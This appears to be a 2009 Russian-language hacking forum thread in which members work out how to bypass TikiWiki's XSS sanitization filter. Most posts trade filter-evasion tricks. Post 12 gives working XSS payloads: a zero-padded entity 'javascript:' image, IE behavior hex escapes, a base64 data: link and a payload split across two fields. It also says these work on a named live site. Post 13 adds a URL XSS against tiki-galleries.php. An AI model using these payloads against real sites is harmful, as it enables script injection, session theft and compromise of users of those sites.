обход <x> защиты от XSS

Discussion in 'Уязвимости' started by iliz, 25 Feb 2009.

  1. iliz

    iliz New Member

    Joined:
    27 Aug 2007
    Messages:
    11
    Likes Received:
    3
    Reputations:
    0
    может кто знает как обойти защиту TikiWiki от XSS, это когда вместо <script> <sc<x>ript>. Такая байда на все опасные слова (style, expression, etc...).
     
    1 person likes this.
  2. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,662
    Likes Received:
    897
    Reputations:
    363
    а что если попробовать вложенную хсс?
    кстати, кроме слов ничего не фильтруется?
    был бы сайт, было б лучше.
     
    _________________________
    1 person likes this.
  3. v0lt

    v0lt Banned

    Joined:
    4 Feb 2009
    Messages:
    5
    Likes Received:
    2
    Reputations:
    0
    пробуй <sc<script> или <ScRiPt>

    ____________________________
    Мои посты- бред, чес, фальш!

    //Signature generated by fake-sign emulator v.4.3.1b
     
    #3 v0lt, 26 Feb 2009
    Last edited: 26 Feb 2009
  4. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,662
    Likes Received:
    897
    Reputations:
    363
    v0lt, он это отфильтрует, скорее всего.
    <scr<script>ipt> вот так.
     
    _________________________
    #4 yarbabin, 26 Feb 2009
    Last edited: 26 Feb 2009
  5. iliz

    iliz New Member

    Joined:
    27 Aug 2007
    Messages:
    11
    Likes Received:
    3
    Reputations:
    0
    все это пробовал, и вложенные XSS и даже пробовал закоментить <sc<!-- //-->ript> в то месте где <x> вставляется, но увы не помогает, эта единственная переменная(из тех что пробовал) в новой версии движка , где вожможно реализовать html injection, но вот с XSS проблема, все другие варианты с ha.ckers.org/xss.html тоже пробовал...., пробовал в УТФ7 кодировке(и др.), разным регистром, причем если много раз повторить <script><script><script>, то в каждом с из них появится злобная X
    если по методу склеивания <sc<script> тоже не выходит
    кроме слов похоже не фильтруется
    сайт увы внутри компании, не в инете
    в общем устал биться с санитизацией и пошел другим путем, через png картинку все получилось :) но в мозилле не бачет, ибо уязвимость только IE, заметил еще один не приятный момент, то что в explorer.exe есть уязвимость переполнения при обработке картинок, а в IE ее нет, т е если скормить ему картинку с шелом, он ее протсто не отображает, только рамочку .:(
    а про санитизацию с X, может у кого еще какие идеи появятся? просто жутко интересно ;)
     
  6. swt1

    swt1 Elder - Старейшина

    Joined:
    16 Feb 2008
    Messages:
    306
    Likes Received:
    78
    Reputations:
    21
    посмотри здесь набор.
    http://www.xssing.com/
     
  7. iliz

    iliz New Member

    Joined:
    27 Aug 2007
    Messages:
    11
    Likes Received:
    3
    Reputations:
    0
    знаю этот ресурсик, крайне полезный, из этих техник срабатывает только marquee, но без script, т е в итоге получаем только бегущую строчку ...
    эта зараза вставляет <x> во все слова типа style, expression, onerror, onload, script, alert, javascript, iframe, onmousover, onclick, eval ...
    причем что примечательно, предварительно вырезает \ + и прочее
    и вместо < (%3С и др кодировок) ставит &gt, а также ",',>
     
  8. iliz

    iliz New Member

    Joined:
    27 Aug 2007
    Messages:
    11
    Likes Received:
    3
    Reputations:
    0
    а вот собсно и скрипт санитизации ./tiki-wiki-2.2/lib/setup/sanitization.php
    там достаточно грамотно все написано, работа ребятами проделана большая...
    вот собсно что санитизируется знаком X
    $ra_as_tag_only = array('style', 'script', 'embed', 'object', 'applet', 'meta', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'base', 'xml', 'import', 'link');
    $ra_as_attribute = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload','ondragdrop', 'dynsrc', 'lowsrc', 'codebase', 'xmlns');
    $ra_as_content = array('vbscript', 'expression', 'blink', 'mocha', 'livescript', 'url', 'alert');
    $ra_javascript =array('javascript')
    ЖЕСТЬ!
     
  9. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,662
    Likes Received:
    897
    Reputations:
    363
    не выйдет там хсс..
     
    _________________________
  10. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Дык этого, того, все ж с маленькой буквы написано, типо попробовать написать большими
     
  11. iliz

    iliz New Member

    Joined:
    27 Aug 2007
    Messages:
    11
    Likes Received:
    3
    Reputations:
    0
    проблема в том что они в скрипте санитизации приводят все не стандартные кодировки к стандартной и только затем составляют для каждого $ra отдельный динамичиский regexp с ключами //gi, поэтому не бачет...
    но у меня всеж надежда не умирает , щас анализирую коды, пытаюсь найти выход...
     
  12. LeverOne

    LeverOne Elder - Старейшина

    Joined:
    22 Feb 2006
    Messages:
    52
    Likes Received:
    128
    Reputations:
    115
    TikiWiki 2.2 CMS/Groupware XSS vulnerability


    Неправильный кусок кода из файла sanitization.php

    PHP:
    for ($i 0$i strlen($search); $i++) {
                
    // ;? matches the ;, which is optional
                // 0{0,8} matches any padded zeros,
                // which are optional and go up to 8 chars
                // &#x0040 @ search for the hex values
                
    $patterns[] = '/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i';
                
    $replacements[] = $search[$i];
                
    // &#00064 @ 0{0,8} matches '0' zero to eight times
                // with a ;
                
    $patterns[] = '/(&#0{0,8}'.ord($search[$i]).';?)/';
                
    $replacements[] = $search[$i];
            }
    В Opera и FF ограничений по количеству опциональных нулей нет, поэтому если при кодировании используется хотя бы 9 нулей, фильтр считает, что перед ним другой символ.

    активная XSS (Opera only)*

    PHP:
    <img src="&#000000000106avascript:confirm(/lo/)">
    *в различных полях невозможность использования этого способа вызвана дополнительной фильтрацией. Так, например, в личных сообщениях, либо тексте комментариев блога, если фильтр не определил закодированный символ, идет преобразование & --> &amp; Однако же в названиях и описаниях блогов этой допфильтрации нет.

    активная XSS (IE only)

    Code:
    <img style="behavior:\75\72\6C\28\23\64\65\66\61\75\6C\74\23\74\69\6D\65\32\29;display:none" end=0 onend=confirm(/lo/)>
    или

    Code:
    <img style="behavior:\75\72\6C\28\23\64\65\66\61\75\6C\74\23\74\69\6D\65\32\29;display:none" onbegin="confirm(/lo/)">
    *пропуск событий HTML+Time2
    *пропуск эскейп-последовательностей


    пассивная XSS (Opera & FF)

    Code:
    <a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgvbG8vKTwvc2NyaXB0Pg==">click me</a>

    Проверка производилась на локально установленном движке в личных сообщениях и блогах, этого достаточно, чтобы увидеть практическую работу модуля sanitization.php. Дополнительная фильтрация в отдельных полях может быть обсуждена отдельно.

    Также следует отметить неаккуратную работу фильтра со структурой тега. Весьма легко производится выход за пределы тега. Невнимание разработчиков можно объяснить тем, что за пределами тега существует такая же фильтрация, как и внутри него. Однако же фильтрация между полями на одной странице отсутствует, в силу чего можно составить код xss, берущий начало в одном поле, а заканчивающийся в другом.

    Замечательное подтверждение вышесказанному сайтец http://lojban.org, основанный на tikiwiki 3.0beta. В форумных заголовках (title) сообщений проходят ВСЕ вышеописанные XSS.

    Активная XSS уязвимость, основанная на нарушении структуры тега, может быть такая (IE only):
    в заголовке форумного сообщения
    Code:
    <a style=`display:none;lo:expres/*;></a>
    в теле форумного сообщения
    Code:
    [http://www.foo.com/lo*/sion(this.lo==true?true:confirm(/lo/,this.lo=true));`| ]
    
     
    #12 LeverOne, 4 Mar 2009
    Last edited: 27 Jun 2009
    4 people like this.
  13. iliz

    iliz New Member

    Joined:
    27 Aug 2007
    Messages:
    11
    Likes Received:
    3
    Reputations:
    0
    хм.... вери интерестинг!
    а я пока раскопал URL XSS в tiki-galleries.php который не подвержен фильтрации :)
    tiki-galleries.php/>"><ScRipt>alert(666)</scRipt>
     
    1 person likes this.
  14. iliz

    iliz New Member

    Joined:
    27 Aug 2007
    Messages:
    11
    Likes Received:
    3
    Reputations:
    0
    Да, про base64 encoding совсем забыл... каюсь
    с дивами и с нулями не бачет, видимо что-то он перекодирует, или еще что-то делает, после \75rl идет урезание
     
  15. iliz

    iliz New Member

    Joined:
    27 Aug 2007
    Messages:
    11
    Likes Received:
    3
    Reputations:
    0
    сорри, запинается на # симовле...
     
  16. iliz

    iliz New Member

    Joined:
    27 Aug 2007
    Messages:
    11
    Likes Received:
    3
    Reputations:
    0
    LeverOne да ты воистину гуру!
    откуда столько тонкостей знаешь? (про нули например) Я чесно говоря до тебя не встречал, и не знал, такого :)
    спасибо тебе громадно! жутко выручил!
     
  17. SEKTOR3A

    SEKTOR3A New Member

    Joined:
    2 May 2009
    Messages:
    37
    Likes Received:
    1
    Reputations:
    0
    как использовать такую кодировку \75\72\6C\28\23\64\65\66\61\75\6C\74\23\7 4\69\6D\65\32\29

    дайти ссылку плиз
     
  18. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    733
    Likes Received:
    646
    Reputations:
    251
    HEX это.
     
  19. SEKTOR3A

    SEKTOR3A New Member

    Joined:
    2 May 2009
    Messages:
    37
    Likes Received:
    1
    Reputations:
    0
    спс., возможно ли избавится от такого фильтра который сам после получения какого либо письма вписывает значение filtered-
    и именно там где стоит onmouseover пробовал как -нить закодить но не вышло может есть на это какие -нить варианты
    <a href="mail.html" filtered-onmouseover="alert('Your Message');return true;" target="_blank">Linked Text</a>

    sps.
     
Loading...